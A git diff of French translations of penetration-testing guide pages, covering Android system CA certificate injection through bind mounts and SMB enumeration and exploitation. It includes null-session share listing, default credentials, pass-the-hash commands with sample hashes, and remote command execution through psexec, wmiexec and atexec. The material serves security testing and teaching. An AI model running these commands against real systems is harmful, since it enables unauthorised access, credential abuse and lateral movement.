-NĂ©anmoins, il existe un contournement pour ceux qui doivent modifier les certificats CA approuvĂ©s par le systĂšme dans le rĂ©pertoire **`/apex`**. Il consiste Ă remonter manuellement **`/apex`** pour retirer la PRIVATE propagation, rendant ainsi le rĂ©pertoire modifiable. Le processus inclut la copie du contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, le dĂ©montage du rĂ©pertoire **`/apex/com.android.conscrypt`** pour Ă©liminer la contrainte en lecture seule, puis la restauration du contenu Ă son emplacement dâorigine dans **`/apex`**. Cette approche nĂ©cessite une exĂ©cution rapide pour Ă©viter des plantages systĂšme. Pour garantir lâapplication des changements Ă lâĂ©chelle du systĂšme, il est recommandĂ© de redĂ©marrer le `system_server`, ce qui redĂ©marre effectivement toutes les applications et ramĂšne le systĂšme Ă un Ă©tat cohĂ©rent.
+NĂ©anmoins, une solution de contournement existe pour ceux qui doivent modifier les certificats CA approuvĂ©s par le systĂšme dans le rĂ©pertoire **`/apex`**. Cela implique de remonter manuellement **`/apex`** pour supprimer la propagation PRIVATE, rendant ainsi le rĂ©pertoire modifiable. Le processus inclut la copie du contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, le dĂ©montage du rĂ©pertoire **`/apex/com.android.conscrypt`** pour Ă©liminer la contrainte en lecture seule, puis la restauration du contenu Ă son emplacement dâorigine dans **`/apex`**. Cette approche nĂ©cessite une action rapide pour Ă©viter des plantages systĂšme. Pour garantir lâapplication de ces changements Ă lâĂ©chelle du systĂšme, il est recommandĂ© de redĂ©marrer le `system_server`, ce qui redĂ©marre effectivement toutes les applications et ramĂšne le systĂšme Ă un Ă©tat cohĂ©rent.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@@ -131,24 +131,24 @@ wait # Launched in parallel - wait for completion here
echo "System certificate injected"
```
-### Bind-mounting through NSEnter
+### Bind-mounting par NSEnter
-1. **Setting Up a Writable Directory**: Initialement, un répertoire inscriptible est créé en montant un `tmpfs` sur le répertoire systÚme de certificats non-APEX existant. Ceci est réalisé avec la commande suivante :
+1. **Création d'un répertoire inscriptible** : Initialement, un répertoire inscriptible est créé en montant un `tmpfs` par-dessus le répertoire systÚme de certificats non-APEX existant. Ceci est réalisé avec la commande suivante :
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
-2. **PrĂ©paration des certificats CA** : AprĂšs la crĂ©ation du rĂ©pertoire en Ă©criture, les certificats CA que l'on souhaite utiliser doivent ĂȘtre copiĂ©s dans ce rĂ©pertoire. Cela peut impliquer de copier les certificats par dĂ©faut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les permissions et les labels SELinux de ces certificats en consĂ©quence.
-3. **Montage bind pour Zygote** : En utilisant `nsenter`, on entre dans le namespace de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape afin de s'assurer que toutes les applications lancées à partir de ce moment utilisent les certificats CA nouvellement configurés. La commande utilisée est :
+2. **Preparing CA Certificates**: AprĂšs la configuration du rĂ©pertoire inscriptible, les CA certificates que l'on souhaite utiliser doivent ĂȘtre copiĂ©s dans ce rĂ©pertoire. Cela peut impliquer de copier les certificats par dĂ©faut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les permissions et les SELinux labels de ces certificats en consĂ©quence.
+3. **Bind Mounting for Zygote**: En utilisant `nsenter`, on entre dans le namespace de montage de Zygote. Zygote, étant le processus responsable du lancement des applications Android, nécessite cette étape afin de garantir que toutes les applications lancées désormais utilisent les CA certificates nouvellement configurés. La commande utilisée est:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Cela garantit que chaque nouvelle application démarrée respectera la configuration mise à jour des certificats CA.
-4. **Appliquer les modifications aux applications en cours d'exécution** : Pour appliquer les modifications aux applications déjà en cours d'exécution, `nsenter` est à nouveau utilisé pour entrer dans l'espace de noms de chaque application individuellement et effectuer un bind mount similaire. La commande nécessaire est :
+4. **Appliquer les changements aux applications en cours d'exécution**: Pour appliquer les changements aux applications déjà en cours d'exécution, `nsenter` est à nouveau utilisé pour entrer dans l'espace de noms de chaque application individuellement et effectuer un bind mount similaire. La commande nécessaire est :
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
-5. **Approche alternative â redĂ©marrage logiciel**: Une mĂ©thode alternative consiste Ă effectuer le bind mount sur le processus `init` (PID 1), suivie d'un redĂ©marrage logiciel du systĂšme d'exploitation avec les commandes `stop && start`. Cette approche propagerait les changements Ă travers tous les namespaces, Ă©vitant la nĂ©cessitĂ© de traiter individuellement chaque application en cours d'exĂ©cution. Cependant, cette mĂ©thode est gĂ©nĂ©ralement moins privilĂ©giĂ©e en raison de la gĂȘne occasionnĂ©e par le redĂ©marrage.
+5. **Alternative Approach - Soft Reboot**: Une méthode alternative consiste à effectuer le bind mount sur le processus `init` (PID 1), puis à réaliser un soft reboot du systÚme d'exploitation avec les commandes `stop && start`. Cette approche propagera les changements dans tous les namespaces, évitant d'avoir à traiter individuellement chaque application en cours d'exécution. Cependant, cette méthode est généralement moins recommandée en raison de l'inconvénient du redémarrage.
## Références
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index 18f5e4359..c1a3ce574 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -4,58 +4,58 @@
## **Port 139**
-Le _**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PC et aux postes de travail d'un réseau local (LAN) d'interagir avec le matériel réseau et de **faciliter la transmission des données sur le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS sont réalisées via leurs NetBIOS names, qui peuvent comporter jusqu'à 16 caractÚres et sont souvent différents du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (jouant le rÎle du client) envoie une commande pour "call" une autre application (jouant le rÎle du serveur) en utilisant **TCP Port 139**.
+_**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PCs et aux Desktops au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission des données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS se font via leurs noms NetBIOS, qui peuvent comporter jusqu'à 16 caractÚres et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
-Techniquement, le port 139 est dĂ©signĂ© comme âNBT over IPâ, tandis que le port 445 est identifiĂ© comme âSMB over IPâ. L'acronyme **SMB** signifie â**Server Message Blocks**â, qui est aussi aujourd'hui connu sous le nom de **Common Internet File System (CIFS)**. En tant que protocole rĂ©seau de la couche application, SMB/CIFS est principalement utilisĂ© pour permettre l'accĂšs partagĂ© aux fichiers, aux imprimantes, aux ports sĂ©rie, et faciliter diverses formes de communication entre nĆuds d'un rĂ©seau.
+Techniquement, le Port 139 est dĂ©signĂ© comme âNBT over IPâ, alors que le Port 445 est identifiĂ© comme âSMB over IPâ. L'acronyme **SMB** signifie â**Server Message Blocks**â, qui est aussi de nos jours connu sous le nom de **Common Internet File System (CIFS)**. En tant que protocole rĂ©seau de la couche application, SMB/CIFS est principalement utilisĂ© pour permettre l'accĂšs partagĂ© aux fichiers, imprimantes, ports sĂ©rie, et faciliter diverses formes de communication entre les nĆuds d'un rĂ©seau.
-Par exemple, dans le contexte de Windows, on souligne que SMB peut fonctionner directement sur TCP/IP, éliminant la nécessité de NetBIOS over TCP/IP, grùce à l'utilisation du port 445. à l'inverse, sur d'autres systÚmes, l'emploi du port 139 est observé, ce qui indique que SMB est exécuté en conjonction avec NetBIOS over TCP/IP.
+Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonctionner directement sur TCP/IP, éliminant la nécessité de NetBIOS over TCP/IP, grùce à l'utilisation du port 445. à l'inverse, sur d'autres systÚmes, l'emploi du port 139 est observé, ce qui indique que SMB est exécuté conjointement avec NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
-Le protocole **Server Message Block (SMB)**, fonctionnant selon un modÚle **client-server**, est conçu pour réguler l'**accÚs aux fichiers**, aux répertoires et à d'autres ressources réseau telles que les imprimantes et les routeurs. Principalement utilisé au sein de la famille de systÚmes d'exploitation **Windows**, SMB garantit la compatibilité descendante, permettant aux appareils exécutant des versions plus récentes du systÚme d'exploitation de Microsoft d'interagir sans heurt avec ceux exécutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logiciel libre permettant l'implémentation de SMB sur les systÚmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB.
+Le **Server Message Block (SMB)**, fonctionnant selon un modÚle **client-serveur**, est conçu pour réguler **l'accÚs aux fichiers**, aux répertoires et à d'autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la famille de systÚmes d'exploitation **Windows**, SMB assure une compatibilité descendante, permettant aux appareils utilisant des versions plus récentes du systÚme d'exploitation de Microsoft d'interagir sans heurts avec ceux exécutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logicielle libre, permettant l'implémentation de SMB sur les systÚmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB.
-Shares, reprĂ©sentant des **parties arbitraires du systĂšme de fichiers local**, peuvent ĂȘtre fournis par un serveur SMB, rendant la hiĂ©rarchie visible au client en partie **indĂ©pendante** de la structure rĂ©elle du serveur. Les **Listes de contrĂŽle d'accĂšs (ACLs)**, qui dĂ©finissent les **droits d'accĂšs**, permettent un **contrĂŽle fin** des permissions des utilisateurs, incluant des attributs comme **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent ĂȘtre assignĂ©es Ă des utilisateurs ou groupes individuels, en fonction des shares, et sont distinctes des permissions locales dĂ©finies sur le serveur.
+Les Shares, reprĂ©sentant des **parties arbitraires du systĂšme de fichiers local**, peuvent ĂȘtre fournis par un serveur SMB, rendant la hiĂ©rarchie visible pour un client en partie **indĂ©pendante** de la structure rĂ©elle du serveur. Les **Access Control Lists (ACLs)**, qui dĂ©finissent les **droits d'accĂšs**, permettent un **contrĂŽle granulaire** des permissions des utilisateurs, incluant des attributs tels que **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent ĂȘtre attribuĂ©es Ă des utilisateurs individuels ou Ă des groupes, en fonction des Shares, et sont distinctes des permissions locales dĂ©finies sur le serveur.
### IPC$ Share
-L'accĂšs au share IPC$ peut ĂȘtre obtenu via une null session anonyme, permettant d'interagir avec des services exposĂ©s via des named pipes. L'utilitaire `enum4linux` est utile Ă cet effet. Bien utilisĂ©, il permet d'obtenir :
+L'accĂšs au share IPC$ peut ĂȘtre obtenu via une null session anonyme, permettant d'interagir avec des services exposĂ©s via des named pipes. L'utilitaire `enum4linux` est utile pour cela. UtilisĂ© correctement, il permet l'acquisition de :
-- Des informations sur le systĂšme d'exploitation
-- Des détails sur le domaine parent
-- Une compilation des utilisateurs et groupes locaux
-- Des informations sur les shares SMB disponibles
-- La politique de sécurité du systÚme effective
+- Informations sur le systĂšme d'exploitation
+- Détails sur le domaine parent
+- Une liste des utilisateurs et groupes locaux
+- Informations sur les SMB shares disponibles
+- La politique de sécurité effective du systÚme
-Cette fonctionnalité est essentielle pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue complÚte de l'environnement SMB de la cible, ce qui est indispensable pour identifier les vulnérabilités potentielles et s'assurer que les services SMB sont correctement sécurisés.
+Cette fonctionnalité est cruciale pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue d'ensemble complÚte de l'environnement SMB du systÚme cible, ce qui est essentiel pour identifier les vulnérabilités potentielles et s'assurer que les services SMB sont correctement sécurisés.
```bash
enum4linux -a target_ip
```
-La commande ciâdessus est un exemple de la façon dont `enum4linux` peut ĂȘtre utilisĂ© pour effectuer une Ă©numĂ©ration complĂšte contre une cible spĂ©cifiĂ©e par `target_ip`.
+La commande ci-dessus est un exemple de la façon dont `enum4linux` pourrait ĂȘtre utilisĂ© pour effectuer une Ă©numĂ©ration complĂšte contre une cible spĂ©cifiĂ©e par `target_ip`.
## Qu'est-ce que NTLM
-Si vous ne connaissez pas NTLM ou si vous voulez savoir comment il fonctionne et comment l'exploiter, vous trouverez trĂšs intĂ©ressante cette page sur **NTLM** oĂč est expliquĂ© **comment ce protocole fonctionne et comment vous pouvez en tirer parti :**
+Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment il fonctionne et comment l'abuser, vous trouverez trĂšs intĂ©ressante cette page sur **NTLM** oĂč est expliquĂ© **comment ce protocole fonctionne et comment vous pouvez en tirer parti :**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
-## **Server Enumeration**
+## **ĂnumĂ©ration des serveurs**
-### **Scan** d'un réseau à la recherche d'hÎtes :
+### **Scan** un réseau à la recherche d'hÎtes:
```bash
nbtscan -r 192.168.0.1/24
```
### Version du serveur SMB
-Pour rechercher d'éventuels exploits pour la version SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaßt pas dans les autres outils utilisés, vous pouvez :
+Pour rechercher d'éventuels exploits liés à la version de SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaßt pas dans les autres outils utilisés, vous pouvez :
- Utilisez le module auxiliaire **MSF** `**auxiliary/scanner/smb/smb_version**`
- Ou ce script :
@@ -80,9 +80,9 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
-### **Possibles** Identifiants
+### Identifiants **possibles**
-| **Identifiant(s)** | **Mots de passe courants** |
+| **Username(s)** | **Common passwords** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
@@ -96,7 +96,7 @@ searchsploit microsoft smb
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
-### Informations sur l'environnement SMB
+### SMB Environment Information
### Obtenir des informations
```bash
@@ -120,9 +120,9 @@ rpcclient -U "username%passwd" #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]
```
-### ĂnumĂ©rer les utilisateurs, les groupes et les utilisateurs connectĂ©s
+### ĂnumĂ©rer les utilisateurs, groupes & utilisateurs connectĂ©s
-Ces informations devraient déjà avoir été collectées par enum4linux et enum4linux-ng
+Ces informations devraient dĂ©jĂ ĂȘtre collectĂ©es par enum4linux et enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u -p ]
crackmapexec smb 10.10.10.10 --groups [-u -p ]
@@ -150,20 +150,20 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
-### **ĂnumĂ©ration LSARPC et SAMR rpcclient**
+### **Enumerating LSARPC and SAMR rpcclient**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
-### Connexion GUI depuis linux
+### Connexion GUI depuis Linux
-#### Dans le terminal:
+#### Dans le terminal :
`xdg-open smb://cascade.htb/`
-#### Dans une fenĂȘtre de gestionnaire de fichiers (nautilus, thunar, etc)
+#### Dans la fenĂȘtre du gestionnaire de fichiers (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
@@ -171,7 +171,7 @@ rpcclient-enumeration.md
### Lister les dossiers partagés
-Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose ; si vous n'avez pas de credentials, essayez d'utiliser **null** **credentials/guest user**.
+Il est toujours recommandé de vérifier si vous pouvez accéder à quelque chose ; si vous n'avez pas d'identifiants, essayez d'utiliser **null** **credentials/guest user**.
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -185,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user
crackmapexec smb -u 'username' -p 'password' --shares #Guest user
crackmapexec smb -u 'username' -H '' --shares #Guest user
```
-### **Se connecter/Lister un dossier partagé**
+### **Se connecter / lister un dossier partagé**
```bash
#Connect using smbclient
smbclient --no-pass ///
@@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list
smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash
```
-### **ĂnumĂ©rer manuellement les partages Windows et s'y connecter**
+### **Enumérer manuellement les partages Windows et s'y connecter**
-Il se peut que vous ne puissiez pas afficher les partages de la machine hĂŽte et que, lorsque vous tentez de les lister, il semble qu'il n'y en ait aucun. Il peut donc ĂȘtre utile d'essayer de se connecter manuellement Ă un partage. Pour Ă©numĂ©rer les partages manuellement, regardez les rĂ©ponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME lorsque vous utilisez une session valide (e.g. null session or valid credentials). Elles peuvent indiquer si le partage existe mais que vous n'y avez pas accĂšs, ou s'il n'existe pas du tout.
+Il se peut que vous soyez limité dans la possibilité d'afficher les partages de la machine hÎte et que, lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage disponible. Il peut donc valoir la peine d'essayer briÚvement de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous pouvez rechercher des réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME lorsque vous utilisez une session valide (p.ex. null session ou identifiants valides). Celles-ci peuvent indiquer si le partage existe mais que vous n'y avez pas accÚs, ou si le partage n'existe pas du tout.
-Les noms de partages courants pour des cibles Windows sont
+Common share names for windows targets are
- C$
- D$
@@ -214,7 +214,7 @@ Les noms de partages courants pour des cibles Windows sont
(Noms de partages courants issus de _**Network Security Assessment 3rd edition**_)
-Vous pouvez essayer de vous y connecter en utilisant la commande suivante
+Vous pouvez tenter de vous y connecter en utilisant la commande suivante
```bash
smbclient -U '%' -N \\\\\\ # null session to connect to a windows share
smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password)
@@ -241,7 +241,7 @@ exemples
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
-### **ĂnumĂ©rer les partages depuis Windows / sans outils tiers**
+### **ĂnumĂ©rer les partages sous Windows / sans outils tiers**
PowerShell
```bash
@@ -253,7 +253,7 @@ get-smbshare -CimSession ""
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
-console CMD
+Invite de commandes (CMD)
```shell
# List shares on the local computer
net share
@@ -267,7 +267,7 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
-explorer.exe (graphique), saisissez `\\\` pour voir les partages non cachés disponibles.
+explorer.exe (graphique), entrez `\\\` pour voir les partages non masqués disponibles.
### Monter un dossier partagé
```bash
@@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Télécharger des fichiers**
-Lisez les sections précédentes pour apprendre comment se connecter à l'aide de credentials/Pass-the-Hash.
+Lisez les sections précédentes pour apprendre comment vous connecter avec credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@@ -291,16 +291,16 @@ smbclient ///
> mget *
#Download everything to current directory
```
-Commandes:
+Commandes :
-- mask: spécifie le mask qui est utilisé pour filtrer les fichiers dans le répertoire (e.g. "" pour tous les fichiers)
-- recurse: bascule la récursion (default: off)
-- prompt: bascule l'invite pour les noms de fichiers (default: on)
-- mget: copie tous les fichiers correspondant au mask depuis la machine hĂŽte vers la machine cliente
+- mask: spécifie le masque utilisé pour filtrer les fichiers dans le répertoire (par ex. "" pour tous les fichiers)
+- recurse: active/désactive la récursion (par défaut : désactivée)
+- prompt: désactive l'invite pour les noms de fichiers (par défaut : activée)
+- mget: copie tous les fichiers correspondant au masque depuis la machine hĂŽte vers la machine cliente
(_Informations extraites de la page de manuel de smbclient_)
-### Recherche des dossiers partagés du domaine
+### Recherche de dossiers partagés du domaine
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
@@ -312,42 +312,42 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
-Parmi les éléments particuliÚrement intéressants dans les partages se trouvent les fichiers appelés **`Registry.xml`** car ils **peuvent contenir des mots de passe** pour les utilisateurs configurés avec **autologon** via Group Policy. Ou les fichiers **`web.config`** car ils contiennent des identifiants.
+Parmi les fichiers des partages, ceux appelés **`Registry.xml`** sont particuliÚrement intéressants car ils **peuvent contenir des mots de passe** pour des utilisateurs configurés avec **autologon** via Group Policy. Les fichiers **`web.config`** sont aussi intéressants car ils contiennent des identifiants.
> [!TIP]
-> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiés du domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell différents.\
-> Vous devriez **vérifier** les **scripts** qu'il contient car vous pourriez y **trouver** des informations sensibles telles que des **mots de passe**.
+> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiés du domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell **scripts**.\
+> Vous devriez **vérifier** les **scripts** qui s'y trouvent car vous pourriez **trouver** des informations sensibles telles que des **mots de passe**.
## Lire le registre
-Vous pourriez ĂȘtre capable de **lire le registre** en utilisant des identifiants dĂ©couverts. Impacket **`reg.py`** vous permet d'essayer :
+Vous pouvez ĂȘtre en mesure de **lire le registry** en utilisant des identifiants dĂ©couverts. Impacket **`reg.py`** vous permet d'essayer :
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
-## Post Exploitation
+## Post-exploitation
-La configuration par défaut d'un serveur Samba se trouve généralement dans `/etc/samba/smb.conf` et peut contenir des configurations dangereuses :
+La **configuration par défaut de** ce serveur **Samba** se trouve généralement dans `/etc/samba/smb.conf` et peut contenir des **configurations dangereuses** :
-| **Setting** | **Description** |
+| **ParamĂštre** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
-| `browseable = yes` | Autoriser l'affichage des partages disponibles ? |
-| `read only = no` | Interdire la création et la modification de fichiers ? |
-| `writable = yes` | Autoriser les utilisateurs à créer et modifier des fichiers ? |
-| `guest ok = yes` | Autoriser la connexion au service sans mot de passe ? |
-| `enable privileges = yes` | Respecter les privilÚges attribués à un SID spécifique ? |
-| `create mask = 0777` | Quelles permissions doivent ĂȘtre assignĂ©es aux fichiers créés ? |
-| `directory mask = 0777` | Quelles permissions doivent ĂȘtre assignĂ©es aux rĂ©pertoires créés ? |
+| `browseable = yes` | Permet d'énumérer les partages disponibles dans le partage courant ? |
+| `read only = no` | Interdit la création et la modification de fichiers ? |
+| `writable = yes` | Permet aux utilisateurs de créer et modifier des fichiers ? |
+| `guest ok = yes` | Permet de se connecter au service sans mot de passe ? |
+| `enable privileges = yes` | Respecter les privilÚges assignés à un SID spécifique ? |
+| `create mask = 0777` | Quelles permissions doivent ĂȘtre assignĂ©es aux fichiers nouvellement créés ? |
+| `directory mask = 0777` | Quelles permissions doivent ĂȘtre assignĂ©es aux rĂ©pertoires nouvellement créés ? |
| `logon script = script.sh` | Quel script doit ĂȘtre exĂ©cutĂ© lors de la connexion de l'utilisateur ? |
-| `magic script = script.sh` | Quel script doit ĂȘtre exĂ©cutĂ© lorsque le script est fermĂ© ? |
-| `magic output = script.out` | OĂč la sortie du magic script doit ĂȘtre stockĂ©e ? |
+| `magic script = script.sh` | Quel script doit ĂȘtre exĂ©cutĂ© lorsque le script se termine ? |
+| `magic output = script.out` | OĂč la sortie du magic script doit ĂȘtre stockĂ©e ? |
-La commande `smbstatus` fournit des informations sur le **serveur** et sur **qui est connecté**.
+La commande `smbstatus` donne des informations sur le **serveur** et sur **qui est connecté**.
## Authentification avec Kerberos
-Vous pouvez vous authentifier auprĂšs de Kerberos en utilisant les outils smbclient et rpcclient :
+Vous pouvez **vous authentifier** auprĂšs de **Kerberos** en utilisant les outils **smbclient** et **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
-crackmapexec peut exécuter des commandes **en abusant** de n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramÚtre `--exec-method`:
+crackmapexec peut exécuter des commandes en utilisant n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramÚtre `--exec-method`:
```bash
apt-get install crackmapexec
@@ -380,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
-Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **upload** un fichier exécutable sur le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\
-**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
-Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
+Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **upload** un fichier exécutable vers ADMIN$ share et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\
+**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
+Dans **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]
@@ -390,19 +390,19 @@ Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
-En utilisant le **paramĂštre**`-k`, vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
+En utilisant le **paramĂštre** `-k`, vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
-Exécuter furtivement un shell de commande sans toucher au disque ni lancer un nouveau service en utilisant DCOM via **port 135.**\
-Sur **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/
+Exécutez furtivement un shell de commandes sans toucher le disque ni lancer un nouveau service en utilisant DCOM via le **port 135.**\
+Dans **kali**, il se trouve dans /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@] #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-En utilisant le **paramĂštre**`-k` vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM**
+En utilisant **paramĂštre**`-k`, vous pouvez vous authentifier auprĂšs de **kerberos** plutĂŽt qu'avec **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -411,8 +411,8 @@ En utilisant le **paramĂštre**`-k` vous pouvez vous authentifier avec **kerberos
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
-Exécuter des commandes via le Planificateur de tùches (en utilisant _\pipe\atsvc_ via SMB).\
-Sur **kali** il est situé dans /usr/share/doc/python3-impacket/examples/
+Exécuter des commandes via le Task Scheduler (en utilisant _\pipe\atsvc_ via SMB).\
+Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@] "command"
./atexec.py -hashes administrator@10.10.10.175 "whoami"
@@ -421,13 +421,13 @@ Sur **kali** il est situé dans /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
-### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
